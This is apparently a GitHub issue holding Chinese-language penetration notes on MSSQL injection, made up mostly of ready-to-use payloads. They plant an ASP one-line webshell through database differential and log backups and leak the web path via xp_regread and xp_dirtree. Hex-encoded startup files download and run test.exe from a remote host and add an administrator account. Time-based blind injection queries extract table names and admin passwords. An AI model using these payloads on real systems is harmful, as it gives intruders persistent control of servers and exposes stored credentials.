You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
该权限下除了可以采取 public 权限下的注入方式之外,还可以采取 数据库差异备份(或 LOG备份)一句话木马的方式获得 WebShell,甚至可以直接将木马备份到操作系统的启动项,待管理员重启服务器的时候获得控制权限
获取网站的绝对路径(差异备份 或者 LOG备份 的前提)
直接通过网页报错信息,获得网站的绝对路径
在 URL 后添加 ' 符号,使网站报错,得到错误信息中显示的绝对路径
通过调用 xp_regread、xp_dirtree 存储组件获得网站的绝对路径
调用 xp_regread 存储过程
;create table cmd(a varchar(255))-- //创建表
;declare @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into cmd values(@result);-- //将网站目录插到表字段中
and 1=(select count(*) from cmd where a > 1);-- //暴出该字段
;drop table cmd-- //删除此表
调用 xp_dirtree 存储过程
;create table cmd(subdirectory varchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- //创建表
;insert cmd exec master..xp_dirtree 'C:\',1,1-- //将C盘的文件夹及文件插入到表中
and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from (select Top 1 [subdirectory],[file] from cmd order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);-- //暴出第1个文件夹名称
and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from(select Top X [subdirectory],[file] from [jm_tmp] order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);-- //暴出第X个文件夹名称
备份一句话木马
数据库 差异备份
;backup database [当前数据库名] to disk = 'c:\recycler\1.bak'-- //先备份一次数据库
;create table cmd (a image)-- //新建立一个名称为cmd的表
;insert into cmd (a) values ('<%eval request("cmd")%>')-- //插入一句话木马
;backup database [当前数据库名] to disk = '网站绝对路径' WITH DIFFERENTIAL,FORMAT--
LOG备份
;alter database 当前数据库名 set RECOVERY FULL-- //把SQL设置成日志完全恢复模式
;create table cmd (a image)-- //新建立一个名称为cmd的表
;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init-- //先把日志备份到C盘
;insert into cmd (a) values ('<%eval request("cmd")%>')-- //插入一句话木马
;backup log [当前数据库名] to disk = '网站绝对路径'-- //备份日志到网站绝对路径上,比如 ;backup log flower to disk = 'C:\flowerCompany\test.asp'--,菜刀链接 http://www.xxx.com/test.asp 即可
;drop table cmd-- 删除新建的cmd表
;alter database [当前数据库名] set RECOVERY SIMPLE-- //把SQL设置成日志简单恢复模式
;alter database [当前数据库名] set RECOVERY FULL--
;create table cmd(a image)--
;backup log [当前数据库名] to disk = 'c:\recycler\1.txt' with init--
;insert into cmd values(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A77696E646F772E6D6F7665546F20383838382C383838380D0A753D22687474703A2F2F3139322E3136382E312E32332F746573742E657865220D0A703D226D2E657865220D0A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022290D0A782E4F70656E22474554222C752C300D0A782E53656E6428290D0A53657420733D4372656174654F626A656374282241444F44422E53747265616D22290D0A732E4D6F64653D330D0A732E547970653D310D0A732E4F70656E28290D0A732E577269746528782E726573706F6E7365426F6479290D0A732E53617665546F46696C6520702C320D0A53657420773D4372656174654F626A6563742822577363726970742E5368656C6C22290D0A772E52756E20702C300D0A772E52756E22636D64202F632064656C20612E687461222C300D0A77696E646F772E726573697A65546F20302C300D0A77696E646F772E636C6F73650D0A3C2F7363726970743E)--
;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.hta'--
;drop table cmd--
备份添加用户的 bat 至服务器启动项
;alter database [当前数据库名] set RECOVERY FULL--
;create table cmd (a image)--
;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init--
;insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)--
;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
;drop table cmd--
由于 bat 文件对字节数有严格要求,并且 bat 文件执行很不稳定,实际的操作过程中一般采用备份成 hta 文件的方式
// 查看表名
;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
// 查看其他表名
;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('表名')) And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
// 假设表名 admin,查看列名
;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin'),1,1)))>80 '0:0:5'--
// 查看其他列名
;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') And table_name='admin'),1,1)))>80 '0:0:5'--
;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') AND where column_name<>('username') And table_name='admin'),1,1)))>80 '0:0:5'--
// 获取具体数据
;if(ascii(substring((select top 1 Username from admin),1,1)))>1 waitfor delay '0:0:5'--
;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay '0:0:5'--
The text was updated successfully, but these errors were encountered:
0x01 SQL注入
MSSQL
information_schema
:适用于MSSQL 2000
及更高版本pubs
:不适用于MSSQL 2005
model
:适用于所有版本msdb
:适用于所有版本tempdb
:适用于所有版本northwind
:适用于所有版本/*
--
;00%
sa
:可以直接执行命令db_owner
:找到Web
路径,利用备份的方式得到WebShell
,有时也可以对注册表进行操作public
:需要猜解表和列IS_SRVROLEMEMBER
函数来判断public
sysadmin
db_owner
is_member
函数来判断dbo
db_owner
public
user_name()
来判断dbo
db_owner
public
sa
权限xp_cmdshell
执行任意命令xp_cmdshell
这个存储过程是否存在MSSQL 2005
之后的数据库中,默认不开启xp_cmdshell
存储过程,要使用这个功能,必须先进行恢复xp_cmdshell
存储进程,说明管理员将xplog70.dll
删除了,需要将xplog70.dll
上传至目标服务器(一般通过WebShell
上传)xp_cmdshell
xp_cmdshell
之后,就可以运用这个存储过程执行系统命令xp_dirtree
列出文件目录MSSQL 2005
默认不开启SP_OAcreate
列出文件目录MSSQL 2005
默认不开启SP_OAcreate
存储过程,因此需要先启用Ole Automation Procedures
组件wscript.shell
执行命令,添加用户,之后连接3389
或者进行其他操作sp_makewebtask
写入一句话木马(只能写文本数据)MSSQL 2005
默认未开启sp_configure
存储过程,因此得先启用Web Assistant Procedures
组件c:\test.asp
xp_regwrite
操作注册表3389
端口命令(关闭则将 0 改成 1)db_owner
权限xp_regread
、xp_dirtree
等部分存储过程的权限(MSSQL 2005
以上版本,默认不开启这两个存储过程)public
权限下的注入方式之外,还可以采取数据库差异备份
(或LOG备份
)一句话木马的方式获得WebShell
,甚至可以直接将木马备份到操作系统的启动项,待管理员重启服务器的时候获得控制权限差异备份
或者LOG备份
的前提)URL
后添加'
符号,使网站报错,得到错误信息中显示的绝对路径xp_regread
、xp_dirtree
存储组件获得网站的绝对路径xp_regread
存储过程xp_dirtree
存储过程差异备份
LOG备份
差异备份
的成功率很低,而采用LOG备份
的文件体积很小,也很稳定,所以较常使用LOG备份
一句话木马hta
木马至服务器启动项(hta
用script
脚本)bat
至服务器启动项bat
文件对字节数有严格要求,并且bat
文件执行很不稳定,实际的操作过程中一般采用备份成hta
文件的方式public
权限MSSQL
注入,即弹出对话框(非防注入警告)、调整到另一个页面、不显示内容,可以采用盲注if
和waitfor delay
的结合,延迟执行SQL
语句,类似Access
中的ASCII
码逐位猜解The text was updated successfully, but these errors were encountered: